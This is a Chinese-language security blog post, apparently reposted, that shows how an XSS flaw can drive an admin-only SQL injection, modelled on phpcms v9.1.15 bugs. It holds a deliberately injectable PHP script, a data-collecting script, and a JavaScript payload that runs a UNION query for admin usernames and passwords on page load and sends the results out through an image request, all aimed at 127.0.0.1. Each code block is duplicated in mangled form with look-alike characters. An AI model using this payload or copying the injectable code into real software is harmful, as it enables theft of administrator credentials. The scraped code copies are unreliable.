看見phpcms v9.1.15爆的xss和無權限的sql注入,于是就想測試下利用xss執行sql注入,雖然爆的這個phpcms漏洞還有很多其他的用法!但是,這個注入我沒有找到phpcms v9.1.15測試,其他版本都沒有測試成功!
于是乎我隻有假想下一個極端環境:
1.前台有且隻有一個xss漏洞(不能擷取管理者cookie)
2.背景有且隻有一個sql注入漏洞(注入漏洞檔案隻有管理者可以通路)
3.注入獲得管理者密碼可解密
4.除以上無其他任何漏洞(包括背景getwebshell)
其實我就是想說,我們隻可以利用這個xss執行注入!
模拟注入漏洞代碼
sqli.php
Default
<?php
@error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//錯誤忽略
$con = mysql_connect("localhost","root","");
if(!$con) {die('Could not connect: ' . mysql_error());}
mysql_select_db("test",$con);
$id = $_GET['xss'];
$sql = "select id,realname from test where id="."$id";
$view = mysql_query($sql);
$row = mysql_fetch_array($view);
echo $row[id]."<br />";
echo $row[realname]."<br />";
?>
1
2
3
4
5
6
7
8
9
10
11
12
<?php
@error_reporting(E_ALL&~E_NOTICE&~E_WARNING);//錯誤忽略
$con=mysql_connect("localhost","root","");
if(!$con){die('Could not connect: '.mysql_error());}
mysql_select_db("test",$con);
$id=$_GET['xss'];
$sql="select id,realname from test where id="."$id";
$view=mysql_query($sql);
$row=mysql_fetch_array($view);
echo$row[id]."<br />";
echo$row[realname]."<br />";
?>
mysql資料庫:
Default
database:test
table:test、admin
column:test.id、test.realname
admin.id、admin.username、admin.password
1
2
3
4
database:test
table:test、admin
column:test.id、test.realname
admin.id、admin.username、admin.password
get.php(擷取的注入後資料截取)
Default
<?php
$file = fopen("data.txt","a");
fwrite($file,$_GET['get']);
fclose($file);
?>
1
2
3
4
5
<?php
$file=fopen("data.txt","a");
fwrite($file,$_GET['get']);
fclose($file);
?>
xsssqli.js(payload)
Default
function addLoadEvent(func)//視窗打開加載多個函數
{
var oldfunc=window.onload; //頁面打開是加載方法
if(typeof(window.onload)!="function")
{
window.οnlοad=func;
}
else
{
window.οnlοad=function()
{
oldfunc();
func();
}
}
}
function get_xsssqli()
{
var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
var ajax = null;
if(window.XMLHttpRequest)
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
}
else
{
return;
}
ajax.open("GET", url, true);
ajax.send(null);
ajax.onreadystatechange = function()
{
if(ajax.readyState == 4 && ajax.status == 200)
{
var img = document.createElement("img");
img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
document.body.appendChild(img);
}
}
}
addLoadEvent(get_xsssqli);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
functionaddLoadEvent(func)//視窗打開加載多個函數
{
varoldfunc=window.onload;//頁面打開是加載方法
if(typeof(window.onload)!="function")
{
window.οnlοad=func;
}
else
{
window.οnlοad=function()
{
oldfunc();
func();
}
}
}
functionget_xsssqli()
{
varurl="http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
varajax=null;
if(window.XMLHttpRequest)
{
ajax=newXMLHttpRequest();
}
elseif(window.ActiveXObject)
{
ajax=newActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
}
else
{
return;
}
ajax.open("GET",url,true);
ajax.send(null);
ajax.onreadystatechange=function()
{
if(ajax.readyState==4&&ajax.status==200)
{
varimg=document.createElement("img");
img.src="http://127.0.0.1/xss/get.php?get="+ajax.responseText;
document.body.appendChild(img);
}
}
}
addLoadEvent(get_xsssqli);
模拟xss漏洞
Default
<html>
<head>
<title>use xss to sqli</title>
</head>
<body>
<script src=http://127.0.0.1/xss/get.js ></script>
</body>
</html>
1
2
3
4
5
6
7
8
<html>
<head>
<title>usexsstosqli</title>
</head>
<body>
<scriptsrc=http://127.0.0.1/xss/get.js ></script>
</body>
</html>
最後成功得到資料:
當然你也可以寫個正則截獲指定資料!
link:http://lanu.sinaapp.com/htmlcssjisxml/112.html
本文由網絡安全攻防研究室(www.91ri.org)資訊安全小組收集整理,轉載請注明出處。